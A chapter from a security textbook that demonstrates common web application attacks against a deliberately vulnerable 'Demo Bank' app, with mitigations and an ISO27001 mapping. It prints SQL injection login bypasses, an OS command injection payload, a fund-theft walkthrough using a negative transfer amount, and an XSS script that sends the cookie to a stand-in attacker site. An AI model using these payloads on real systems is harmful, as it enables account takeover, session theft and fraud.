In this chapter we will look at some of the common attacks on applications and their effects. The object of this chapter is to show you how easy many application layer attacks are.
Application-specific attacks can be targeted at a specific user or at a large mass of users at one time. These attacks are, increasingly, the preserve of automated ‘bots’18 that scan as many systems on or linked to the Internet as possible with an eye to exploiting flawed or vulnerable applications. The financial implications of these exploits, the loss of reputation, the resultant downtime and lost productivity can be high.
We discuss various application level attacks by simulating these attacks with the help of a ‘Demo Bank’ application. This demo application was built with a number of known and common security holes.
Variable manipulation is an attack that targets weak business-logic validations. This is done by manipulating or altering the variable data sent from a user’s browser to the application server. Web applications send user data as part of a GET or POST message.19 The variables are sent within these messages as cookies, form data and as query strings. An attacker can manipulate these variables by using a web proxy editor20 and subverting application-level controls.
Let us take the example of a healthcare application. This application allows a user to see their healthcare information or patient record. This information is viewed by sending a request from the user’s browser which includes their patient ID.
For example, the request might look like this:
www.demohealth.com/showpatientinfo?patientid=101.
This request will retrieve patient information for patient ID 101.
However, an adversary can try to attack the application if proper controls are not defined through server-side validations. This might enable them to view the records of other patients without authorisation. For example, an adversary can intercept and change the patient ID value in the browser’s address bar to some other user’s account (e.g. patient ID 102). If the server does not check the request and spot that the user is not authorised to see the record of patient 102, then the adversary will be able to view other users’ patient information.
In the above case we discussed variables in the GET request being manipulated. Similarly, POST requests can also be manipulated with a web proxy editor.
The web proxy editor enables an adversary to manipulate all traffic from the browser to the server – including encrypted TLS21 traffic! Let’s dive a bit deeper into this standard tool of the attacker’s trade.
The adversary normally runs the web proxy editor on his own machine. He configures his browser to use the web proxy editor as his default proxy. Then all traffic from and to the browser gets routed via the web proxy editor. The web proxy editor we will set up in the next few steps is Zed Attack Proxy22 from OWASP.
First, configure the web browser to send traffic to the web proxy editor. In Internet Explorer, click on Tools(Alt + X) ◊Internet Options.
Next click on Connection ◊ LAN Settings.
Then check the box next to ‘Use a proxy server for your LAN (these settings will not apply to dial-up or Virtual Private Network [VPN] connections)’. Specify the proxy’s address as the localhost address (127.0.0.1) and the port as the proxy’s port (e.g. 8008). Click on ‘OK’.
Now start the proxy and select it to capture the request. Zed Attack Proxy will listen on port 8008 and can be set to capture both requests and responses passing through the port.
The web proxy editor allows a user to edit the traffic sent to and received from the server. Thus, using a proxy, an adversary can now manipulate all the requests and responses.
How can the web proxy editor be used in practice against real world applications? Let’s take a look at a sample Internet banking application called ‘Demo Bank’. This banking application lets clients perform normal banking functions like viewing current account balances, exporting account statements and transferring funds (to other linked accounts of the same user).
One of the threats to this application is an adversary trying to use the application to transfer funds from another user’s account. Let’s see how this threat could be realised with a variable manipulation attack.
Q: Does Transport Layer Security (TLS) defend me from variable manipulation attacks? A: No. One common misunderstanding about variable manipulation attacks is that TLS can thwart this type of attack. Unfortunately, TLS doesn’t protect against variable manipulation attacks in any way. We will see why. TLS ensures confidentiality and authenticity. It encrypts the traffic so it can’t be eavesdropped. Furthermore, it assures the client that the server is who it claims to be. TLS achieves this by using a digital certificate to prove the authenticity of the server. To achieve confidentiality, it uses asymmetric encryption to send a session key to the client and then uses this securely exchanged key to perform symmetric encryption. This ensures that the channel is encrypted and anyone sniffing on the network sees traffic that makes no sense to them. However, TLS cannot prevent an adversary intercepting their own communication with the server using web proxy editors. These tools intercept TLS communication within the adversary’s machine and present editable data to them in plaintext, which can be used to launch several popular attacks. This is possible because the encrypted communication is now broken up into two parts. The first, between the client and the web proxy editor (this requires the user to disregard the ‘certificate mismatch’ error and accept the fake certificate of the web proxy editor) and the second, between the proxy and the server. The web proxy editor sits in between, decrypting the traffic from the browser and re-encrypting it to send to the server. Thus, an adversary can see and edit the traffic using the web proxy editor. |
Step 1: Log into the application. For this discussion, we will log into the banking application as ‘Alice’ and try to transfer funds from Bob’s account. The first two screenshots show the account balance of the two users. Alice has $6,090 and Bob has $14,000 in their current accounts.
Step 2: Now click on the ‘Transfer Funds’ link (on the left) corresponding to Alice’s account. This feature allows Alice to transfer funds between her accounts (account numbers 10001, 10002, 10003). However, Alice can also use this feature to siphon off funds from Bob’s account.
Step 3: Transfer $1,000 from Alice’s checking account (account number 10001) to her savings account by clicking on the ‘Transfer’ button, as shown here:
Step 4: She starts the web proxy editor and captures the request.
Step 5: Notice the ‘FromAccount’ and ‘ToAccount’ variables. One way to siphon off funds is by modifying the ‘FromAccount’ variable to that of Bob’s. But most applications detect that fraud and prevent it from going through. So Alice uses a more subtle method – she changes the destination account. Alice changes the value of the variable ‘ToAccount’ to 20001 (Bob’s current checking account number). This means that funds will go out of Alice’s account to Bob’s. She also changes the value of the variable ‘Amount’ to -1000 (negative 1000). This means ‘Transfer -$1000 to Bob’s account’, which is the same as ‘Transfer $1000 from Bob’s account’. Many applications do not spot this subtle variation and allow the transaction to go through. The following screenshot shows the account balances in the two accounts after the manipulation:
In the last two screenshots we can see that Alice’s checking balance has increased from $6,090 to $7,090, whereas Bob’s checking account balance has decreased from $14,000 to $13,000. This shows Alice was successfully able to transfer money from Bob’s account using variable manipulation.
Any application can be susceptible to variable manipulation attacks if it does not perform adequate validation. Some applications perform input validations only at the client side. Client-side validations improve the response time to the user. However, client-side validation can be easily bypassed with proxy editors. Business logic validations must therefore be done on the server by validating all client-side input (form fields,23 query strings,24 cookies, etc.) that come to the server.
Buffer25 overflow or buffer overrun occurs when a program tries to writes data beyond its allocated buffer. As a result, the extra data spills over to adjacent memory locations and overwrites them. By carefully crafting the input, the attacker can get the program to execute the input pushed into the buffer. He could thus take control of the system or bring it down. Insufficient bounds checking26 can be exploited and lead to the following:
This attack is limited, however, to unmanaged code written in native languages like C and C++. Platforms like .NET and Java are not affected by this vulnerability as they automatically implement bounds checking to prevent buffer overflow attacks. In a web application environment, buffer overflow vulnerabilities can be present in the web application code, webserver or the application server code, or even in the hosting server’s operating system itself.
In the three-tier architecture,28 the data tier is accessible only from the business logic layer. The business logic layer constructs queries to retrieve or modify the data. The user interface layer cannot do direct database operations. However, attackers have found a way to circumvent this restriction by crafting requests at the client to carry out attacks on the database. These attacks range from gaining control over a user’s account to deleting the database, creating new users, and even executing operating system commands on the database server.
This attack is called ‘injection’. The most common example of an injection attack is a SQL injection, as most web applications use SQL to query their database. However, injection attacks are not limited to SQL. Other querying languages like XPATH29 and LDAP30 are also channels for injection attacks.
SQL injection can work in applications that accept user input to query the database before performing input validation on the input. It is a common application layer attack. To start with, it allows an attacker to read data from a database. It also allows adversaries to modify data, drop tables, drop databases and sometimes even bypass login.
Let’s take an example with the Demo Bank application. The Demo Bank authenticates users by checking if the username and password typed in by the user match the entry stored in the database. To do this, the application uses a dynamic SQL query to validate username and password. The dynamic query that is sent to the database looks something like this:
Select * from usertable where username =<username> and password=<password>;
When Alice enters her user ID ‘alice’ and password ‘alice123’ in the login page, the application fires this query to the database:
Select * from usertable where username =‘alice’ and password=‘alice123’;
The database retrieves all records that have ‘alice’ as the username and ‘alice123’ as the password. If one or more records are returned, then the user is identified as Alice and is granted access to the application.
Let us now see how an adversary can use a SQL injection attack to bypass the authentication logic. In this example, if the user enters username as alice’# they will be able to log in as Alice. Here’s why: the query that the application created and sent to the database is:
Select * from usertable where username = ‘alice’# ‘ and password=‘‘;
# is the commenting31 character in a MySQL database: all query parameters after # are ignored. The query that is effectively passed to the database is:
Select * from usertable where username=‘alice’
The above query returns all rows where the username is ‘alice’. Since the application only checks if one or more rows were returned (and one row has been returned with the user name ‘alice’), it assumes that the user is Alice. The adversary can thus log in as Alice without requiring Alice’s password.
Let us now review the SQL injection vulnerabilities in the Demo Bank application with screenshots
Step 1: As shown below, on the login page enter alice’# as the username while leaving the password field blank.
Step 2: Click on the ‘Log In’ button. The following screenshot shows that the user Alice is authenticated:
Authentication can sometimes also be bypassed by passing ‘or 1=1# as the input parameter. The # again comments out the password checking sub-clause. Since the condition 1=1 is always true, the query will retrieve all rows from the user table. Again, as the application only checks if the number of rows returned is one or more, the adversary gets access to the application.
What privilege32 do these SQL queries inserted by the adversary run as? If the application uses a high privilege account to access the database, then the queries also run with the same privilege, e.g. if the application uses ‘root’ account to connect to the MySQL database, the adversary can also execute his SQL queries with the privilege of ‘root’, the system administrator’s account in MySQL. If the SQL snippet that is then injected instructs the database to drop a table, then the database will follow the instruction faithfully!
We discuss in detail the best practices that developers should follow in Chapter 9. Here’s a quick overview of the solutions to prevent SQL injection:
Here are some tips for input validation:
- Validate input for length (e.g. passwords cannot be fewer than 4 characters or more than 10 characters).
- Wherever possible, validate input against the most restrictive list possible (e.g. months of year can only be 12 possible values).
- Validate input for a whitelist of allowed characters (usernames limited to A-Z, a-z, 0-9).
- Validate input against a blacklist of dangerous characters (e.g. ‘ ; < > @ script ).
- Sanitise input if dangerous characters need to be accepted. For example, < can be encoded to <.
Many modern web applications that interact with multiple applications on the server (some of them legacy) run batch processing at the server. With no common interface between the web application and other applications, the only way to invoke processing is via OS commands. Data from web applications need to be passed to legacy applications when they are invoked via OS commands. If this data is influenced in any way by user inputs, then OS command injection may occur.
Let us take an example from our Demo Bank application. The application requests customers to fill in a feedback form. The feedback form seeks the customer's name and feedback. The Demo Bank application internally stores the feedback text from a customer in a file. The name of the file in this case is the name of the customer. In order to display feedback text back to the customer the application uses an operating system command to read the contents of the stored feedback file.
Step 1: As shown below, enter a name and customer feedback text.
The application responds with a thank you message as below. The message also embeds a link that allows the customer to view his feedback page.
Step 2: Clicking on the link above will allow the customer to view his feedback page.
The application uses an operating system command to display contents of the file. One of the inputs to the OS command is the filename, which in this case comes from the URL querystring 'filename' parameter.
Step 3: Try injecting OS commands using the 'filename' parameter. Following set of characters are useful to break the statement in an OS command ( ;, |, | |, &).
payload: Adam| dir%20C:\%00
The above payload will attempt to list directories in C:.
What privilege34 do these OS commands inserted by the adversary run as? If the application server or webserver uses a high privilege OS account to access the operating system, then the OS commands inserted by the adversary also run with the same privilege, e.g. if the application server or webserver uses an ‘administrator’ account to run, the adversary can also gain the privilege of the system administrator’s account in the operating system.
We discuss in detail the best practices that developers should follow in Chapter 9. Here’s a quick overview of the solutions to prevent command injection:
Here are some tips for input validation:
- Validate input for a whitelist of allowed characters (usernames limited to A-Z, a-z, 0-9).
- Validate input against a black-list of dangerous characters (e.g. `(backtick) ;(semicolon) | (pipe) , | | double-pipe) , & (ampersand), < > ).
Cross-site scripting (XSS) is a vulnerability typically found in web applications, which allows an adversary to inject code into web pages viewed by unsuspecting surfers. In other words, it is a class of exploit that lets adversaries execute malicious scripts on an unsuspecting end-user’s machine. This bypasses standard controls built into browsers to restrict interactions within a browser window to objects and pages that originated from the same domain and over the same protocol.
If an application unwittingly allows a user to submit JavaScript snippets and displays that input to another user, then it is potentially vulnerable to XSS. An adversary can inject scripts into the pages viewed by a user and get those scripts to execute with that user’s privileges. The script can steal sensitive user data or hijack a user’s session.
XSS is commonly used to steal the session cookie. If an adversary gets the cookie, they can hijack the user’s session.
XSS can also be used to trick the user into visiting a malicious website that downloads malware, thus infecting a system. This can be done by inserting an <iframe> tag or <img> tag.
XSS can be broadly classified into stored XSS and reflected XSS. In stored XSS, the XSS payload is stored in a file/database at the server and is retrieved before displaying it back to the user. This kind of XSS is can have a permanent effect on all users of the web application.
In reflected XSS, the payload is sent via a HTTP parameter/header and is reflected immediately in the subsequent HTTP response. This kind of XSS may need additional social engineering and luring mechanisms to conduct a successful attack.
Further categorisation can be derived based on where in the HTTP response the XSS payload is reflected. The four common categories based on this are: HTML body, HTML attribute, JavaScript, and CSS. The table below gives potential payloads based on 4 categories.
Table 7: Potential payloads
XSS categories |
Payload |
HTML body |
Requires HTML tags |
HTML attribute |
May require single quote, double quote, and JavaScript events |
JavaScript |
May require single quote, semicolon, braces(), JavaScript functions |
CSS |
Potentially all characters with ASCII values less than 256 |
The following screenshot shows how JavaScript can access the cookie. In this example, an adversary has tricked the application into inserting the line:
<script> alert(document.cookie); </script>
into the Demo Bank application’s account statement page. The script captures the session cookie and displays it back to the victim in this example:
In real-world attacks, an attacker would not display the cookie back to the victim but would transmit it to themselves instead. Here’s a sample script that will transfer the cookie of the user to another website controlled by the attacker (www.sampleattacker.com):
<script>document.location=‘http://www.sampleattacker.com/cookiestore.bin?’ +document.cookie</script>
An attacker can also hide his tracks after stealing the user’s cookie with a few well-crafted redirects, ultimately bringing the user back to the same page which he had requested. The victim will not even be aware that his session token has been stolen.
Character |
Encoding |
< |
< |
< |
> |
& |
& |
‘ |
&apos |
" |
" |
( |
( |
; |
; |
= |
= |
Cross-site request forgery (also known as XSRF, CSRF, sea surf, session riding, and cross-site reference forgery) is an attack that tricks the victim into taking some action on the vulnerable application without the victim’s knowledge. This can happen when the victim visits a webpage that contains a malicious request, which then performs the chosen action on the victim’s behalf.
The CSRF attack exploits the browsers feature of sending the session cookie along with every POST/GET HTTP request to the target application. An adversary identifies a URL on a website like a banking application that performs functions such as purchase, fund transfer or bill payment, or any transaction or information update. The adversary posts the particular URL onto a web page over which they have control. When the victim visits the web page, the URL is triggered (via an image request). The browser sends the authenticated cookie for the particular website along with the request.
The Demo Bank application allows users to change their address. We will see that it is possible to generate an HTTP request from an external HTML page to change the address of the user on the Demo Bank application.
Notice current address of the user.
In another tab, open an HTML page that just loads an image on the client, but generates a GET request that updates the address at the server.
The HTML contains a form that fires a request to the application to change a user’s address.
Since we are logged into the application in another tab, the address of the logged in user will change.
Notice address has now changed.
All sensitive/transaction sections of the application must contain some token with the page. A transaction without the token should not be allowed. Set up the server to keep track of the token, and set up all HTML/JavaScript forms to contain a hidden field that contains this token. The token should be unique and random, and must be validated by the server for every sensitive transaction and update/delete operation.
Authentication schemes developed for applications are regularly customised and such custom schemes often have issues in areas of password storage and retrieval, session management, and password reset mechanisms.
Common attacks targeting authentication and session management are as follows:
In the Demo Bank screenshot below, you can see that after login the username and password are sent as a URL QueryString. Since URLs are stored in browser history, these can be easily stolen
Another screenshot shows how session IDs are also sent in URLs; session tokens provide access to another user's valid account. URLs are stored in webserver logs, hence a webserver admin can get access to all users' session tokens.
Best practices in building authentication:
Best practices for session management:
Today, complex web applications are being built to support various business services for customers. These web applications support multiple roles and users with multiple privilege levels. Users may have privileged access to the application based on roles assigned to them. Web applications should ensure that users do not gain unauthorised access to functions that they are not privileged to access.
An attack to circumvent authorisation checks in an application is also called a privilege escalation attack. Common attack scenarios for privilege escalation are as follows:
Below we have an example of an application that distinguishes the menu available to an admin and normal user.
Admin user menu
Normal user menu
We can see in the screenshot below is that authorisation checks are applied while presenting the menu, but authorisation checks are not applied for specific admin URLs.
Here, a normal user conducts a privilege escalation attack and accesses an admin user's functionality.
Best practices in building fail-safe authorisation mechanisms:
Attacks on the underlying hosting systems like webservers, application servers and frameworks are on the rise. Insecure configurations at the webserver or application server layer can lead to compromise of the hosting system. Some of the common attacks on web hosting systems are:
Below we have an example of an application hosted on Tomcat Apache Webserver. The webserver's admin interface is accessible publicly.
Observe that it is possible to log in with default account credentials 'tomcat/tomcat'.
Best practices in building safe web hosting systems:
Web applications today deal with myriad sensitive information, including user profile information, identity information, passwords, SSNs, payment information like credit cards, and so on. As more and more business is conducted over the Internet, important competitor-sensitive information is also stored and handled by web applications.
Attackers today are focused specifically on stealing sensitive information from web applications and their hosting systems.
Common attacks aiming to steal sensitive information are:
Below is an example of the Demo Bank web application sending login credentials in cleartext over the network. A network sniffer like Wireshark is able to steal the login credentials.
Best practices to secure sensitive information:
Web applications often use HTTP redirects to send users to different web pages or web applications. With web applications today communicating with each other to provide a seamless experience, redirection between web applications is common. This can lead to open redirect attacks, however, in which an attacker can craft the redirection request to point to a malicious web application that downloads malware onto the unsuspecting user's machine.
Below is an example of the Demo Bank web application showing how the web application redirects the user.
Redirects to bsigroup.com.
Best practices to prevent open redirect attacks:
There are many attacks in which adversaries take control over user accounts by stealing passwords. Once an adversary steals a password he can initiate transactions on behalf of an unsuspecting user. One such method of stealing passwords uses the simple ‘back’ and ‘refresh’ features of the web browser.
For speed of retrieval, the browser caches recent web pages visited by the user. Using the ‘back’ and ‘forward’ buttons of the browser, the pages visited by a user during the current session can be seen. That’s not all: using the ‘refresh’ feature, various variables sent as part of each request can also be resubmitted.
An adversary, however, can exploit this feature to steal passwords when a user logs in to a website from a physically shared or otherwise physically unprotected system. Consider the case where a user logs in to a website and browses through different pages. The user finally logs out of the website but leaves the browser window open. The attacker arrives on the scene and sees the browser window open. He wants to see everything the user has browsed and clicks on the ‘back’ button. Usually the attacker gets an error message as the pages have expired. But the attacker is undeterred. He goes to the page just after login by pressing ‘back’ repeatedly. He then starts a web proxy editor like Paros and presses ‘refresh’ on the browser. Most browsers display a pop-up warning that some of the variables have to be reposted in order to display the particular page.
The attacker agrees to this by clicking on ‘retry’ and the variables saved by the browser are reposted to the server. These variables include the previous user’s ‘userID’ and ‘password’ that were sent as part of the ‘post’ message. Let’s walk through this step-by-step.
Step 1: Log in to the application as the user ‘Alice’, and then logout from the application.
Step 2: Click the ‘back’ button of the browser.
Step 3: The following page is obtained:
Step 4: Start the web proxy and click on the ‘refresh’ button of the browser.
Step 5: A warning is shown: press on the ‘retry’ button.
Step 6: The following screenshot shows the username and password of the user ‘Alice’ captured on the web proxy:
Thus an adversary can capture passwords with the help of the ‘back refresh’ vulnerability in web applications.
The same attack can also be used to capture passwords sent as part of a ‘change password’ request. This attack can also be used to capture other critical user details such as social security numbers, credit card numbers, etc. that can be sent as ‘post’ messages to the server.
Use an intermediate page between pages where any critical data is sent. This intermediate page must redirect the user via the HTTP redirect command to the next page. For example, in this case an intermediate page should be inserted between the login page and the first page after login. Once the user logs in, he must be redirected to the page after login from the intermediate page. Since the intermediate page is never displayed on the browser, an attacker won’t be able to use the ‘back’ button of the browser to reach this intermediate page.
Here’s how each of the above attacks can compromise an ISO27001 control objective:
Table 8: Mapping of attacks to ISO27001 controls
Attack |
ISO27001 control objective |
Variable manipulation |
A14.1.3 Protecting application services transactions |
Buffer overflows |
A.14.2.5 Secure system engineering principles |
SQL injection |
A.14.2.5 Secure system engineering principles |
Command injection |
A.14.2.5 Secure system engineering principles |
Cross-site request forgery |
A14.1.3 Protecting application services transactions |
Attack on authentication and session management |
A.9.4.2 Secure log on procedures A.9.2.4 Management of secret authentication information of users |
Attack on authorisation |
A.9.2.3 Management of privileged access rights A.9.4.1 Information access restriction |
Attack on web hosting systems |
A.14.2.5 Secure system engineering principles |
Stealing sensitive data |
A.10.1 Cryptographic controls A.8.2.3 Handling of assets |
Open redirect attacks |
A.14.2.5 Secure system engineering principles |
Cross-site scripting |
A.14.2.5 Secure system engineering principles |
Attack on browser refresh |
A.9.4.3 Password management system A11.1.2 Physical entry controls |
18 ‘Bots’ are computers that have been remotely commandeered by hackers and are used, often as part of large pirate networks, to mount increasingly sophisticated attacks on target systems and applications.
19 GET and POST are HTTP methods by which client software communicates with its server software.
20 Web proxy editors are applications or small browser add-ons that are used to intercept traffic, inspect it and modify it.
21 TLS stands for Transport Layer Security; it is a protocol that uses two keys to encrypt information (such as credit card data) that is being transmitted across the Internet.
22 Zed Attack Proxy, www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project.
23 Form fields are, simply, input fields in forms, such as password field, check boxes, etc.
24 A query string is that part of a URL that contains the data that is passed from a browser to a web application or a program which generates the specific web page that has been requested.
25 A buffer is a temporary data storage area (usually in RAM) that enables an application to manipulate the data before writing the data to a disk or other device. The existence of a buffer removes the need to write every new piece of data to the disk and thus speeds up data processing.
26 Bounds checking is any method of detecting – before it is used – whether an input variable is within the bounds set for an input field.
27 These are all software defences against a specific and very common type of buffer overflow attack.
28 Three-tier architecture is a common approach to software engineering, in which the user interface (e.g. browser), the application (business logic layer) itself, and the database that contains the data manipulated by the application at the direction of the user are all separate modules, each usually running on different hardware.
29 Xpath is a language for finding information in an XML document.
30 Lightweight Directory Access Protocol is an Internet protocol used by email and other programs to look up entries in a server.
31 Comments are non-executing text strings in program code that can be used to temporarily disable parts of the program that is being executed.
32 A privilege is a specific, identified right that a particular user or program has to a particular system resource or to carry out a specific action.
33 Parameters are placeholders that enable values to be passed to functions.
34 A privilege is a specific, identified right that a particular user or program has to a particular system resource or to carry out a specific action.
35 HTTP trace is a method used for debugging, which echoes input back to the inputting user. It can also be used to steal cookies. Although modern browsers do not allow HTTP trace to be executed from the browser, certain Java applets do allow the trace method to be executed.
3.145.70.170